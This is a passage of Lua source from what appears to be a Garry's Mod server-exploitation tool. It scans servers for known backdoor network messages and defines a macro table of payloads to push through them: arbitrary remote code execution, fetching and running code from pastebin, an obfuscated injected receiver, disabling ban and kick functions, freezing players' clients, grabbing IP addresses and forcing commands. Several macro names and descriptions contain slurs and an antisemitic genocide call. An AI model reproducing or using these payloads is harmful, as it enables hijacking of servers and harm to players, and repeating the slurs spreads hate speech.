7062 {
7063 NetWork = "ULX_QUERY2"
7064 },
7065 {
7066 NetWork = "ULXQUERY2"
7067 },
7068 {
7069 NetWork = "MoonMan"
7070 },
7071 {
7072 NetWork = "Im_SOCool"
7073 },
7074 {
7075 NetWork = "Sandbox_GayParty"
7076 },
7077 {
7078 NetWork = "DarkRP_UTF8"
7079 },
7080 {
7081 NetWork = "oldNetReadData"
7082 },
7083 {
7084 NetWork = "memeDoor"
7085 },
7086 {
7087 NetWork = "BackDoor"
7088 },
7089 {
7090 NetWork = "OdiumBackDoor"
7091 },
7092 {
7093 NetWork = "SessionBackdoor"
7094 },
7095 {
7096 NetWork = "DarkRP_AdminWeapons"
7097 },
7098 {
7099 NetWork = "cucked"
7100 },
7101 {
7102 NetWork = "NoNerks"
7103 },
7104 {
7105 NetWork = "kek"
7106 },
7107 {
7108 NetWork = "ZimbaBackDoor"
7109 },
7110 {
7111 NetWork = "something"
7112 },
7113 {
7114 NetWork = "random"
7115 },
7116 {
7117 NetWork = "strip0"
7118 },
7119 {
7120 NetWork = "fellosnake"
7121 },
7122 {
7123 NetWork = "enablevac"
7124 },
7125 {
7126 NetWork = "idk"
7127 },
7128 {
7129 NetWork = "c"
7130 },
7131 {
7132 NetWork = "killserver"
7133 },
7134 {
7135 NetWork = "fuckserver"
7136 },
7137 {
7138 NetWork = "cvaraccess"
7139 },
7140 {
7141 NetWork = "rcon"
7142 },
7143 {
7144 NetWork = "rconadmin"
7145 },
7146 {
7147 NetWork = "web"
7148 },
7149 {
7150 NetWork = "jesuslebg"
7151 },
7152 {
7153 NetWork = "zilnix"
7154 },
7155 {
7156 NetWork = "Þà ?D)◘"
7157 },
7158 {
7159 NetWork = "disablebackdoor"
7160 },
7161 {
7162 NetWork = "kill"
7163 },
7164 {
7165 NetWork = "DefqonBackdoor"
7166 }
7167}
7168
7169function checkbackdoors()
7170 for k, v in pairs(BackDoor_net) do
7171 if (ValidNetString(v.NetWork)) then
7172 BackdoorsFound = 1 + BackdoorsFound
7173 chat.AddText(Color(0, 0, 0, 125), "[R8]", Color(255, 255, 255), " Found Backdoor! - " .. v.NetWork)
7174 v.NetWork = backdoor
7175 end
7176 end
7177end
7178
7179BD.Backdoors = BD.Backdoors or {}
7180BD.CurrentBackdoor = "Generic"
7181
7182for k, v in pairs(BackDoor_net) do
7183 if (ValidNetString(v.NetWork)) then
7184 BD.BackdoorTypes = {
7185 ["Generic"] = {
7186 ["Code"] = "util.AddNetworkString( " .. v.NetWork .. " ) net.Receive( " .. v.NetWork .. ", function() local x = CompileString( net.ReadString(), 'LuaCmd', false ) if isfunction( x ) then x() end end )",
7187 ["Netkey"] = v.NetWork
7188 }
7189 }
7190 end
7191end
7192
7193checkbackdoors()
7194local netsss = net.Start
7195
7196function BD.IsMessagePooled(netmessage)
7197 local netfunc = netsss
7198
7199 return status
7200end
7201
7202local net = net
7203local ctxt = chat.AddText
7204
7205function BD.ChatText(message, col)
7206 ctxt(Color(195, 205, 255, 255), "[Blackdoor] ", col, message)
7207end
7208
7209function BD.PingBackDoors()
7210 local bds = {}
7211
7212 for k, v in pairs(BackDoor_net) do
7213 if BD.IsMessagePooled(tostring(v.NetWork)) then
7214 bds[k] = true
7215 end
7216 end
7217
7218 return bds
7219end
7220
7221concommand.Add("bd_refresh_backdoors", function()
7222 BD.Backdoors = BD.PingBackDoors()
7223end)
7224
7225function BD.BackdoorActive()
7226 return table.Count(BD.Backdoors) > 0
7227end
7228
7229BD.BDMacros = {
7230 ["Artillery Strike"] = {
7231 ["Type"] = 1,
7232 ["Code"] = [[if !bombstrike then
7233
7234hook.Add("Think", "lulz_bombstrike", function()
7235
7236local explode = ents.Create( "env_explosion" )
7237
7238local ps = Vector(math.random(-8000, 8000), math.random(-8000, 8000), math.random(-5000, 5000))
7239
7240local trc = {}
7241
7242trc.start = ps
7243
7244trc.endpos = ps + Vector( 0, 0, -99999)
7245
7246local tr = util.TraceLine(trc)
7247
7248if !tr.Hit then return end
7249
7250explode:SetPos( tr.HitPos )
7251
7252explode:Spawn()
7253
7254explode:SetKeyValue( "iMagnitude", "400" )
7255
7256explode:Fire( "Explode", 0, 0 )
7257
7258end)
7259
7260bombstrike = true
7261
7262else
7263
7264hook.Remove("Think", "lulz_bombstrike")
7265
7266bombstrike = false
7267
7268end]],
7269 ["Desc"] = "Explode the shit out of everything"
7270 },
7271 ["@ Inject SendLua Interface"] = {
7272 ["Type"] = 1,
7273 ["Code"] = [[
7274
7275local ‪ = _G local ‪‪ = ‪['\115\116\114\105\110\103'] local ‪‪‪ = ‪['\98\105\116']['\98\120\111\114'] local function ‪‪‪‪‪‪‪(‪‪‪‪) if ‪‪['\108\101\110'](‪‪‪‪) == 0 then return ‪‪‪‪ end local ‪‪‪‪‪ = '' for _ in ‪‪['\103\109\97\116\99\104'](‪‪‪‪,'\46\46') do ‪‪‪‪‪=‪‪‪‪‪..‪‪['\99\104\97\114'](‪‪‪(‪["\116\111\110\117\109\98\101\114"](_,16),25)) end return ‪‪‪‪‪ end ‪[‪‪‪‪‪‪‪'6c6d7075'][‪‪‪‪‪‪‪'587d7d577c6d6e766b724a6d6b70777e'](‪‪‪‪‪‪‪'4b21')‪[‪‪‪‪‪‪‪'777c6d'][‪‪‪‪‪‪‪'4b7c7a7c706f7c'](‪‪‪‪‪‪‪'4b21',function ()local false‪=‪[‪‪‪‪‪‪‪'5a76746970757c4a6d6b70777e'](‪[‪‪‪‪‪‪‪'777c6d'][‪‪‪‪‪‪‪'4b7c787d4a6d6b70777e'](),‪‪‪‪‪‪‪'556c785a747d',false )if ‪[‪‪‪‪‪‪‪'706a7f6c777a6d707677'](false‪)then false‪()end end )
7276
7277 ]],
7278 ["Desc"] = "You need this to use certain macros"
7279 },
7280 ["Announce centre screen"] = {
7281 ["Type"] = 1,
7282 ["Code"] = [[for k, v in pairs(player.GetAll()) do v:PrintMessage( HUD_PRINTCENTER, @1 ) end]],
7283 ["Desc"] = "Make an announcement in the centre of everybodys screen",
7284 ["NeedsParameters"] = 1
7285 },
7286 ["Rainbow chat spam"] = {
7287 ["Type"] = 1,
7288 ["Code"] = [[
7289
7290 if !timer.Exists( "lulz_chatspam" ) then
7291
7292 timer.Create( "lulz_chatspam", 0.5, 0, function() BDSendLuaAll('chat.AddText( Color( math.random(0, 255), math.random(0, 255), math.random(0, 255) ), @1 )' ) end)
7293
7294 else
7295
7296 timer.Remove( "lulz_chatspam" )
7297
7298 end]],
7299 ["Desc"] = "Spam rainbow chat for all players with the 1st parameter as the text",
7300 ["NeedsParameters"] = 1
7301 },
7302 ["Rainbow chat spam (Turbo)"] = {
7303 ["Type"] = 1,
7304 ["Code"] = [[
7305
7306 if !timer.Exists( "lulz_chatspam" ) then
7307
7308 timer.Create( "lulz_chatspam", 0.01, 0, function() BDSendLuaAll('chat.AddText( Color( math.random(0, 255), math.random(0, 255), math.random(0, 255) ), @1 )' ) end)
7309
7310 else
7311
7312 timer.Remove( "lulz_chatspam" )
7313
7314 end]],
7315 ["Desc"] = "Spam rainbow chat for all players with the 1st parameter as the text",
7316 ["NeedsParameters"] = 1
7317 },
7318 ["Unlock all doors"] = {
7319 ["Type"] = 1,
7320 ["Code"] = [[local doors = {"func_door", "func_door_rotating", "prop_door_rotating", "prop_dynamic"} for k, v in pairs(ents.GetAll()) do if table.HasValue(doors, v:GetClass()) then v:Fire("unlock", "", 0) end end]],
7321 ["Desc"] = ""
7322 },
7323 ["Toggle all doors"] = {
7324 ["Type"] = 1,
7325 ["Code"] = [[local doors = {"func_door", "func_door_rotating", "prop_door_rotating", "prop_dynamic"} for k, v in pairs(ents.GetAll()) do if table.HasValue(doors, v:GetClass()) then v:Fire("toggle", "", 0) end end]],
7326 ["Desc"] = ""
7327 },
7328 ["Broken Glass Symphony"] = {
7329 ["Type"] = 1,
7330 ["Code"] = [[
7331
7332 if !timer.Exists( "A true masterpiece" ) then
7333
7334 timer.Create( "A true masterpiece", 0.2, 0, function()
7335
7336 for _, p in pairs(player.GetAll()) do
7337
7338 p:EmitSound( "physics/glass/glass_largesheet_break"..math.random(1,3)..".wav", 100, math.random( 40, 180 ) )
7339
7340 end
7341
7342 end)
7343
7344 else
7345
7346 timer.Remove( "A true masterpiece" )
7347
7348 end]],
7349 ["Desc"] = "Beethoven's last hidden symphony, only rediscovered in 2017"
7350 },
7351 ["Yeah Baby"] = {
7352 ["Type"] = 1,
7353 ["Code"] = [[
7354
7355 if !timer.Exists( "porn" ) then
7356
7357 timer.Create( "porn", 0.3, 0, function()
7358
7359 for _, p in pairs(player.GetAll()) do
7360
7361 p:EmitSound( "vo/npc/female01/yeah02.wav", 100, math.random( 90, 120 ) )
7362
7363 end
7364
7365 end)
7366
7367 else
7368
7369 timer.Remove( "porn" )
7370
7371 end]],
7372 ["Desc"] = "YEAH BABY YEAH"
7373 },
7374 ["Street War"] = {
7375 ["Type"] = 1,
7376 ["Code"] = [[
7377
7378 if !timer.Exists( "cwar" ) then
7379
7380 timer.Create( "cwar", 1, 0, function()
7381
7382 for _, p in pairs(player.GetAll()) do
7383
7384 p:EmitSound( "ambient/levels/streetwar/city_battle"..math.random( 1, 19 )..".wav", 100, math.random( 90, 120 ) )
7385
7386 end
7387
7388 end)
7389
7390 else
7391
7392 timer.Remove( "cwar" )
7393
7394 end]],
7395 ["Desc"] = "For when you need more dakka"
7396 },
7397 ["Earthquake"] = {
7398 ["Type"] = 1,
7399 ["Code"] = [[
7400
7401 if !timer.Exists( "earthquake" ) then
7402
7403 timer.Create( "earthquake", 0.5, 500, function()
7404
7405 for _, p in pairs(player.GetAll()) do
7406
7407 p:SetPos( p:GetPos() + Vector( 0, 0, 1 ) )
7408
7409 p:SetVelocity( Vector( math.random( -50, 50 ), math.random( -50, 50 ), math.random( 100, 150 ) ) )
7410
7411 util.ScreenShake( p:GetPos(), 20, 1, 1, 100 )
7412
7413 p:EmitSound( "ambient/explosions/exp1.wav", 100, math.random( 60, 100 ) )
7414
7415 end
7416
7417
7418
7419 for _, e in pairs(ents.GetAll()) do
7420
7421 if e:GetPhysicsObject() and e:GetPhysicsObject():IsValid() then e:GetPhysicsObject():AddVelocity( Vector( math.random( -50, 50 ), math.random( -50, 50 ), math.random( 100, 150 ) ) ) end
7422
7423 end
7424
7425
7426
7427
7428
7429 end)
7430
7431 else
7432
7433 timer.Remove( "earthquake" )
7434
7435 end]],
7436 ["Desc"] = "For when you need more dakka"
7437 },
7438 ["Explode all vehicles"] = {
7439 ["Type"] = 1,
7440 ["Code"] = [[for k, v in pairs(ents.GetAll()) do if v:IsVehicle() then
7441
7442 local explo = ents.Create("env_explosion")
7443
7444 explo:SetPos(v:GetPos())
7445
7446 explo:SetKeyValue("iMagnitude", "300")
7447
7448 explo:Spawn()
7449
7450 explo:Activate()
7451
7452 explo:Fire("Explode", "", 0)
7453
7454 end
7455
7456 end]],
7457 ["Desc"] = ""
7458 },
7459 ["RCON command"] = {
7460 ["Type"] = 1,
7461 ["Code"] = [[game.ConsoleCommand( @1.."\n" )]],
7462 ["Desc"] = "Like having rcon access without actually having rcon access"
7463 },
7464 ["Lua run"] = {
7465 ["Type"] = 1,
7466 ["Code"] = [[@1]],
7467 ["Desc"] = "For running your dank luas"
7468 },
7469 ["Lua run from pastebin"] = {
7470 ["Type"] = 1,
7471 ["Code"] = [[http.Fetch( "@1", function( b, l, h, c ) RunString( b ) end, function() end )]],
7472 ["Desc"] = "Fetch and run code from a pastebin link ( remember to use raw you stupid faggot eg. https://pastebin.com/raw/fHeygLt9 )"
7473 },
7474 ["Destroy ULX Ban/Kick"] = {
7475 ["Type"] = 1,
7476 ["Code"] = [[ULib.Ban = function() return false end
7477
7478 ULib.addBan = function() return end
7479
7480 ULib.kick = function() return end]],
7481 ["Desc"] = "Completely break ulx ban and ulx kick so you can't be locked out of the server"
7482 },
7483 ------------------------ player targeted macros ------------------------
7484 ["Kill player"] = {
7485 ["Type"] = 2, -- 1 = indiscriminate, 2= targeted, 3 = dangerous
7486 ["Code"] = [[v:Kill()]],
7487 ["Desc"] = ""
7488 },
7489 ["Fumble player"] = {
7490 ["Type"] = 2, -- 1 = indiscriminate, 2= targeted, 3 = dangerous
7491 ["Code"] = [[v:DropWeapon( v:GetActiveWeapon() )]],
7492 ["Desc"] = "Knocks their current weapon out of their hand"
7493 },
7494 ["Strip weapons"] = {
7495 ["Type"] = 2,
7496 ["Code"] = [[v:StripWeapons()]],
7497 ["Desc"] = ""
7498 },
7499 ["Rocket"] = {
7500 ["Type"] = 2,
7501 ["Code"] = [[v:SetVelocity( Vector(0, 0, 9000) )]],
7502 ["Desc"] = "Sends them flying up into the air"
7503 },
7504 ["Rocket (Spastic)"] = {
7505 ["Type"] = 2,
7506 ["Code"] = [[v:SetVelocity( Vector(math.random( -9000, 9000), math.random( -9000, 9000), 9000) )]],
7507 ["Desc"] = "HOLY SHIIIIIIIIIIIT"
7508 },
7509 ["Change model"] = {
7510 ["Type"] = 2,
7511 ["Code"] = [[v:SetModel( @1 )]],
7512 ["Desc"] = "Set their player model to the specified string (1st paremeter)",
7513 ["NeedsParameters"] = 1
7514 },
7515 ["Set health + armor"] = {
7516 ["Type"] = 2,
7517 ["Code"] = [[v:SetHealth( @1 ) v:SetArmor( @2 ) ]],
7518 ["Desc"] = "Sets their health (1st paremeter) and armor (2nd paremeter)",
7519 ["NeedsParameters"] = 2
7520 },
7521 ["Ear rape"] = {
7522 ["Type"] = 2,
7523 ["Code"] = [[
7524
7525 local snd = {
7526
7527 [1] = "npc/stalker/go_alert2a.wav",
7528
7529 [2] = "vo/npc/male01/question06.wav",
7530
7531 [3] = "ambient/energy/zap1.wav",
7532
7533 [4] = "weapons/knife/knife_stBD.wav",
7534
7535 [5] = "vo/ravenholm/madlaugh04.wav",
7536
7537 [6] = "npc/antlion_guard/antlion_guard_die1.wav",
7538
7539 [7] = "vo/breencast/br_collaboration01.wav,"
7540
7541 }
7542
7543 v:EmitSound( snd[tonumber(@1)], 100, 100 )
7544
7545 ]],
7546 ["Desc"] = "Make them emit a sound (1st paremeter is a number 1-7)",
7547 ["NeedsParameters"] = 1
7548 },
7549 ["Ear rape (from internet)"] = {
7550 ["Type"] = 2,
7551 ["Code"] = [[
7552
7553 BDSendLua( v, 'if soundrape then soundrape:Remove() soundrape = nil return end soundrape = vgui.Create( "DFrame" ) soundrape:SetSize( 1, 1 ) local html = vgui.Create( "HTML", soundrape ) html:OpenURL( @1 )' )
7554
7555 ]],
7556 ["Desc"] = "Make them hear a sound from a URL (1st paremeter). Sending a new sound will stop the previous one. Send an invalid url to stop all sounds entirely on their client",
7557 ["NeedsParameters"] = 1
7558 },
7559 ["Eye rape (from internet)"] = {
7560 ["Type"] = 2,
7561 ["Code"] = [[
7562
7563 BDSendLua( v, 'if bdeyerape then bdeyerape:Remove() bdeyerape = nil return end bdeyerape = vgui.Create( "DFrame" )bdeyerape:SetDraggable( false )bdeyerape:SetSize( ScrW(), ScrH() )bdeyerape:SetTitle( "" )bdeyerape:ShowCloseButton( false )local html = vgui.Create( "HTML", bdeyerape )html:Dock( FILL )html:OpenURL( @1 )' )
7564
7565 ]],
7566 ["Desc"] = "Make them see a full screen, unclosable panel from a URL (1st paremeter). Sending a new url will stop the previous one. Send an invalid url to clear their view entirely",
7567 ["NeedsParameters"] = 1
7568 },
7569 ["Rave Mode"] = {
7570 ["Type"] = 2,
7571 ["Code"] = [[
7572
7573 BDSendLua( v, 'if hook.GetTable().HUDPaint.drugznigga then hook.Remove( "HUDPaint", "drugznigga" ) else hook.Add( "HUDPaint", "drugznigga", function() local cin = math.sin( CurTime() * 10 ) * 255 surface.SetDrawColor( Color( cin, -cin, cin, 100 ) ) surface.DrawRect( 0, 0, ScrW(), ScrH() ) end) end' )
7574
7575 ]],
7576 ["Desc"] = "Make them loosen up and join the party"
7577 },
7578 ["Rave Music"] = {
7579 ["Type"] = 2,
7580 ["Code"] = [[
7581
7582 BDSendLua( v, 'surface.PlaySound( "music/hl1_song25_remix3.mp3" )' )
7583
7584 ]],
7585 ["Desc"] = "DOOF DOOF NIGGA"
7586 },
7587 ["Whisper"] = {
7588 ["Type"] = 2,
7589 ["Code"] = [[v:ChatPrint( @1 )]],
7590 ["Desc"] = "Anonymously whisper text into their chatbox (1st paremeter)",
7591 ["NeedsParameters"] = 1
7592 },
7593 ["Whisper (advanced)"] = {
7594 ["Type"] = 2,
7595 ["Code"] = [[
7596
7597 BDSendLua( v, 'chat.AddText( Color( @2, @3, @4 ), @1 )' )
7598
7599 ]],
7600 ["Desc"] = "Anonymously whisper coloured text into their chatbox (1st paremeter = text, 2nd = r, 3rd = g, 4th = b)",
7601 ["NeedsParameters"] = 1
7602 },
7603 ["Ignite player"] = {
7604 ["Type"] = 2,
7605 ["Code"] = [[v:Ignite( 30 )]],
7606 ["Desc"] = "Ignite players for 30 seconds, spam repeatedly to refresh the duration"
7607 },
7608 ["Toggle godmode"] = {
7609 ["Type"] = 2,
7610 ["Code"] = [[if v:HasGodMode() then v:GodDisable() else v:GodEnable() end]],
7611 ["Desc"] = ""
7612 },
7613 ["Crash their gmod"] = {
7614 ["Type"] = 2,
7615 ["Code"] = [[v:SendLua("function fag() return fag() end fag()")]],
7616 ["Desc"] = "Instantly freezes their game solid, the only way to fix it is ctrl-alt-delete or a computer restart"
7617 },
7618 ["Toggle serverside speedhack"] = {
7619 ["Type"] = 2,
7620 ["Code"] = [[if !v.Sanic then v:SetRunSpeed( 1200 ) v:SetWalkSpeed(800) v.Sanic = true else v:SetRunSpeed( 240 ) v:SetWalkSpeed( 160 ) v.Sanic = false end]],
7621 ["Desc"] = "GOTTA GO FAST"
7622 },
7623 ["Freeze/Unfreeze player"] = {
7624 ["Type"] = 2,
7625 ["Code"] = [[v:Freeze( !v:IsFrozen() )]],
7626 ["Desc"] = ""
7627 },
7628 ["Force say"] = {
7629 ["Type"] = 2,
7630 ["Code"] = [[v:Say(@1)]],
7631 ["Desc"] = "Forces them to say the specified string in chat (first parameter)",
7632 ["NeedsParameters"] = 1
7633 },
7634 ["Force concommand"] = {
7635 ["Type"] = 2,
7636 ["Code"] = [[v:ConCommand(@1)]],
7637 ["Desc"] = "Forces them to run the specified console command (first parameter)",
7638 ["NeedsParameters"] = 1
7639 },
7640 ["Grab IP"] = {
7641 ["Type"] = 2,
7642 ["Code"] = [[ for _, p in pairs(player.GetAll()) do if %LP then p:ChatPrint( v:Nick().." : "..v:IPAddress() ) end end]],
7643 ["Desc"] = "Prints their IP Address to your console"
7644 },
7645 ["DarkRP add/remove money"] = {
7646 ["Type"] = 2,
7647 ["Code"] = [[v:addMoney(@1)]],
7648 ["Desc"] = "Adds money to their wallet (first parameter) remember that you can use negative numbers to subtract money",
7649 ["NeedsParameters"] = 1
7650 },
7651 ["DarkRP force job"] = {
7652 ["Type"] = 2,
7653 ["Code"] = [[ for i, t in pairs( team.GetAllTeams() ) do if string.lower(t.Name) == string.lower( @1 ) then v:changeTeam(i, true, true) end end]],
7654 ["Desc"] = "Change their team to the specified job (1st parameter = job name, does not require capitalization)",
7655 ["NeedsParameters"] = 1
7656 },
7657 ["Force team switch"] = {
7658 ["Type"] = 2,
7659 ["Code"] = [[ for i, t in pairs( team.GetAllTeams() ) do if string.lower(t.Name) == string.lower( @1 ) then v:SetTeam( i ) end end]],
7660 ["Desc"] = "Change their team to the specified team name (1st parameter)",
7661 ["NeedsParameters"] = 1
7662 },
7663 ["Noclip player"] = {
7664 ["Type"] = 2,
7665 ["Code"] = [[if v:GetMoveType() != MOVETYPE_NOCLIP then v:SetMoveType(MOVETYPE_NOCLIP) else v:SetMoveType(MOVETYPE_WALK) end]],
7666 ["Desc"] = "Toggles noclip on the specified players"
7667 },
7668 ["Give weapon to player"] = {
7669 ["Type"] = 2,
7670 ["Code"] = [[v:Give( @1 )]],
7671 ["Desc"] = "Gives this player a weapon (first parameter)",
7672 ["NeedsParameters"] = 1
7673 },
7674 ["Give ammo to player"] = {
7675 ["Type"] = 2,
7676 ["Code"] = [[v:GiveAmmo( @1, @2, false )]],
7677 ["Desc"] = "Gives this player some ammo (first parameter = amount of ammo, secound parameter = ammo type)",
7678 ["NeedsParameters"] = 2
7679 },
7680 ["Teleport (them to your cursor)"] = {
7681 ["Type"] = 2,
7682 ["Code"] = [[
7683
7684 local tp = false
7685
7686 local tpos
7687
7688 for _, p in pairs(player.GetAll()) do if %LP then tpos = p:GetEyeTraceNoCursor().HitPos tp = true end end
7689
7690 if tp then v:SetPos( tpos ) end
7691
7692 ]],
7693 ["Desc"] = "Teleports the selected players to your cursor location, not recommended for more than 1 person at once"
7694 },
7695 ["Teleport (you to them)"] = {
7696 ["Type"] = 2,
7697 ["Code"] = [[
7698
7699 local tp = false
7700
7701 local tpos = v:GetPos() + Vector( 32, 0, 10)
7702
7703 for _, p in pairs(player.GetAll()) do if %LP then p:SetPos( tpos ) end end
7704
7705 ]],
7706 ["Desc"] = "Teleport yourself to the selected player, may end with you stuck inside a wall"
7707 },
7708 ["Teleport (blink)"] = {
7709 ["Type"] = 2,
7710 ["Code"] = [[
7711
7712 local tpos = v:GetEyeTraceNoCursor().HitPos
7713
7714 v:SetPos( tpos )
7715
7716 ]],
7717 ["Desc"] = "Use on yourself or others to warp them to where they are looking"
7718 },
7719 ["Spawn entity near player"] = {
7720 ["Type"] = 2,
7721 ["Code"] = [[
7722
7723 local tr = {}
7724
7725 tr.start = v:GetShootPos()
7726
7727 tr.endpos = v:GetShootPos() + 2500 * v:GetAimVector()
7728
7729 tr.filter = {v}
7730
7731 local trace = util.TraceLine(tr)
7732
7733 local dix = ents.Create( @1 )
7734
7735 dix:SetPos(trace.HitPos)
7736
7737 dix:SetAngles(Angle(0,0,0))
7738
7739 dix:Spawn()
7740
7741 ]],
7742 ["Desc"] = "Spawn an entity in front of this player (first parameter = entity class), cannot spawn cars!",
7743 ["NeedsParameters"] = 1
7744 },
7745 ["Spawn prop near player"] = {
7746 ["Type"] = 2,
7747 ["Code"] = [[
7748
7749 local tr = {}
7750
7751 tr.start = v:GetShootPos()
7752
7753 tr.endpos = v:GetShootPos() + 2500 * v:GetAimVector()
7754
7755 tr.filter = {v}
7756
7757 local trace = util.TraceLine(tr)
7758
7759 local dix = ents.Create( "prop_physics" )
7760
7761 dix:SetPos(trace.HitPos)
7762
7763 dix:SetAngles(Angle(0,0,0))
7764
7765 dix:SetModel( @1 )
7766
7767 dix:Spawn()
7768
7769 ]],
7770 ["Desc"] = "Spawn a world prop in front of this player (first parameter = model)",
7771 ["NeedsParameters"] = 1
7772 },
7773 ["Spawn evil npc near player"] = {
7774 ["Type"] = 2,
7775 ["Code"] = [[
7776
7777 local tr = {}
7778
7779 tr.start = v:GetShootPos()
7780
7781 tr.endpos = v:GetShootPos() + 2500 * v:GetAimVector()
7782
7783 tr.filter = {v}
7784
7785 local trace = util.TraceLine(tr)
7786
7787 local dix = ents.Create( "npc_citizen" )
7788
7789 dix:SetPos(trace.HitPos)
7790
7791 dix:SetAngles(Angle(0,0,0))
7792
7793 dix:SetKeyValue( "additionalequipment", table.Random({"weapon_shotgun", "weapon_smg1", "weapon_ar2"}) )
7794
7795 dix:SetKeyValue( "citizentype", 3 )
7796
7797 dix:AddRelationship("player D_HT 200")
7798
7799 dix:SetCurrentWeaponProficiency(WEAPON_PROFICIENCY_PERFECT)
7800
7801 dix:SetSchedule( SCHED_IDLE_WANDER )
7802
7803 dix:Spawn()
7804
7805 ]],
7806 ["Desc"] = "Spawn a hostile NPC in front of this player"
7807 },
7808 ["Death ray"] = {
7809 ["Type"] = 2,
7810 ["Code"] = [[
7811
7812 local trace = v:GetEyeTraceNoCursor()
7813
7814 if trace.Entity:IsValid() then trace.Entity:Remove() end
7815
7816 ]],
7817 ["Desc"] = "Vaporize whatever this player is looking at"
7818 },
7819 ["Death ray (explosive)"] = {
7820 ["Type"] = 2,
7821 ["Code"] = [[
7822
7823 local trace = v:GetEyeTraceNoCursor()
7824
7825 local explo = ents.Create("env_explosion")
7826
7827 explo:SetPos(trace.HitPos)
7828
7829 explo:SetKeyValue("iMagnitude", "250")
7830
7831 explo:Spawn()
7832
7833 explo:Activate()
7834
7835 explo:Fire("Explode", "", 0)
7836
7837 ]],
7838 ["Desc"] = "Blow up whatever this player is looking at"
7839 },
7840 ["Precise Artillery Strike"] = {
7841 ["Type"] = 2,
7842 ["Code"] = [[
7843
7844 local trace = v:GetEyeTraceNoCursor()
7845
7846 timer.Create( "uiashfuasfas"..v:UniqueID()..math.random(-9999, 99999), 0.2, 15, function()
7847
7848 local explo = ents.Create("env_explosion")
7849
7850 explo:SetPos(trace.HitPos + Vector( math.random( -500, 500), math.random( -500, 500), math.random( -500, 500) ) )
7851
7852 explo:SetKeyValue("iMagnitude", "250")
7853
7854 explo:Spawn()
7855
7856 explo:Activate()
7857
7858 explo:Fire("Explode", "", 0)
7859
7860 end)
7861
7862 ]],
7863 ["Desc"] = "Blow up whatever this player is looking at"
7864 },
7865 ["Woman Driver"] = {
7866 ["Type"] = 2,
7867 ["Code"] = [[
7868
7869 local trace = v:GetEyeTraceNoCursor()
7870
7871 local car = ents.Create("prop_physics")
7872
7873 local trace2 = util.TraceLine( { start = trace.HitPos, endpos = trace.HitPos + Vector( 0, 0, 5000000 ), mask = MASK_SOLID_BRUSHONLY } )
7874
7875 car:SetModel( "models/props_vehicles/car002a_physics.mdl" )
7876
7877 car:SetAngles( v:GetAngles() )
7878
7879 car:SetPos( trace2.HitPos + Vector( 0, 0, -60 ) )
7880
7881 car:Spawn()
7882
7883 car:Activate()
7884
7885 car.boom = 6
7886
7887 car:GetPhysicsObject():SetVelocity( Vector( 0, 0, -5000 ) )
7888
7889 car:Ignite( 500 )
7890
7891 car:AddCallback( "PhysicsCollide", function( car, dat )
7892
7893 local explo = ents.Create("env_explosion")
7894
7895 explo:SetPos( car:GetPos() )
7896
7897 explo:SetKeyValue("iMagnitude", "350")
7898
7899 explo:Spawn()
7900
7901 explo:Activate()
7902
7903 explo:Fire("Explode", "", 0)
7904
7905 local ef = EffectData()
7906
7907 ef:SetOrigin( car:GetPos() )
7908
7909 ef:SetMagnitude( 5 )
7910
7911 ef:SetScale( 200 )
7912
7913 util.Effect( "ThumperDust", ef )
7914
7915 car.boom = car.boom - 1
7916
7917 if car.boom < 0 then car:Remove() end
7918
7919 end )
7920
7921 timer.Simple( 30, function() if car:IsValid() then car:Remove() end end)
7922
7923 ]],
7924 ["Desc"] = "Make exploding vehicles rain from the sky"
7925 },
7926 ["Poison Gas"] = {
7927 ["Type"] = 2,
7928 ["Code"] = [[
7929
7930 local trace = v:GetEyeTraceNoCursor()
7931
7932 local ar2Explo = ents.Create("env_ar2explosion")
7933
7934 ar2Explo:SetOwner(game.GetWorld())
7935
7936 local p = trace.HitPos
7937
7938 ar2Explo:SetPos(trace.HitPos)
7939
7940 ar2Explo:Spawn()
7941
7942 ar2Explo:Activate()
7943
7944 ar2Explo:Fire("Explode", "", 0)
7945
7946 timer.Create( "gasthekikes_"..math.random(-9999, 9999).."_"..math.random(-9999, 9999), 0.25, 35, function()
7947
7948 for _, ent in pairs(ents.FindInSphere( p, 500)) do
7949
7950 if !ent:IsPlayer() then continue end
7951
7952 local d = DamageInfo()
7953
7954 d:SetDamage( 1 )
7955
7956 d:SetAttacker( game.GetWorld() )
7957
7958 d:SetInflictor( game.GetWorld() )
7959
7960 d:SetDamageType( DMG_DROWN )
7961
7962 ent:TakeDamageInfo( d )
7963
7964 end
7965
7966 end)
7967
7968
7969
7970 ]],
7971 ["Desc"] = "GAS THE JEWS RACE WAR NOW"
7972 },
7973 ["Spawn vehicle near player"] = {
7974 ["Type"] = 2,
7975 ["Code"] = [[
7976
7977 local trc = {}
7978
7979 trc.start = v:GetShootPos()
7980
7981 trc.endpos = v:GetShootPos() + 2500 * v:GetAimVector()
7982
7983 trc.filter = {v}
7984
7985 local tr = util.TraceLine(trc)
7986
7987
7988
7989 local VehicleList = list.Get( "Vehicles" )
7990
7991 local vehicle = VehicleList[ @1 ]
7992
7993 if ( !vehicle ) then return end
7994
7995 local Angles = v:GetAngles()
7996
7997 Angles.pitch = 0
7998
7999 Angles.roll = 0
8000
8001 Angles.yaw = Angles.yaw + 180
8002
8003
8004
8005 local pos = tr.HitPos
8006
8007 if ( vehicle.Offset ) then
8008
8009 pos = pos + tr.HitNormal * vehicle.Offset
8010
8011 end
8012
8013 local Ent = ents.Create( vehicle.Class )
8014
8015 if ( !Ent ) then return end
8016
8017 duplicator.DoGeneric( Ent, vehicle )
8018
8019 if ( vehicle.Model == "models/buggy.mdl" ) then Ent:SetKeyValue( "vehiclescript", "scripts/vehicles/jeep_test.txt" ) end
8020
8021 if ( vehicle.Model == "models/vehicle.mdl" ) then Ent:SetKeyValue( "vehiclescript", "scripts/vehicles/jalopy.txt" ) end
8022
8023 if ( vehicle && vehicle.KeyValues ) then
8024
8025 for k, v in pairs( vehicle.KeyValues ) do
8026
8027 Ent:SetKeyValue( k, v )
8028
8029 end
8030
8031 end
8032
8033 Ent:SetModel( vehicle.Model )
8034
8035 Ent:SetAngles( Angles )
8036
8037 Ent:SetPos( pos )
8038
8039 Ent:Spawn()
8040
8041 Ent:Activate()
8042
8043 if ( Ent.SetVehicleClass && @1 ) then Ent:SetVehicleClass( @1 ) end
8044
8045 Ent.VehicleName = vehicle.Class
8046
8047 Ent.VehicleTable = @1
8048
8049 Ent.ClassOverride = vehicle.Class
8050
8051 ]],
8052 ["Desc"] = "Spawn a vehicle in front of this player (first parameter = vehicle class), don't try to spawn ents with this ya dingus!",
8053 ["NeedsParameters"] = 1
8054 },
8055 ["Kick player"] = {
8056 ["Type"] = 2,
8057 ["Code"] = [[ v:Kick( @1 ) ]],
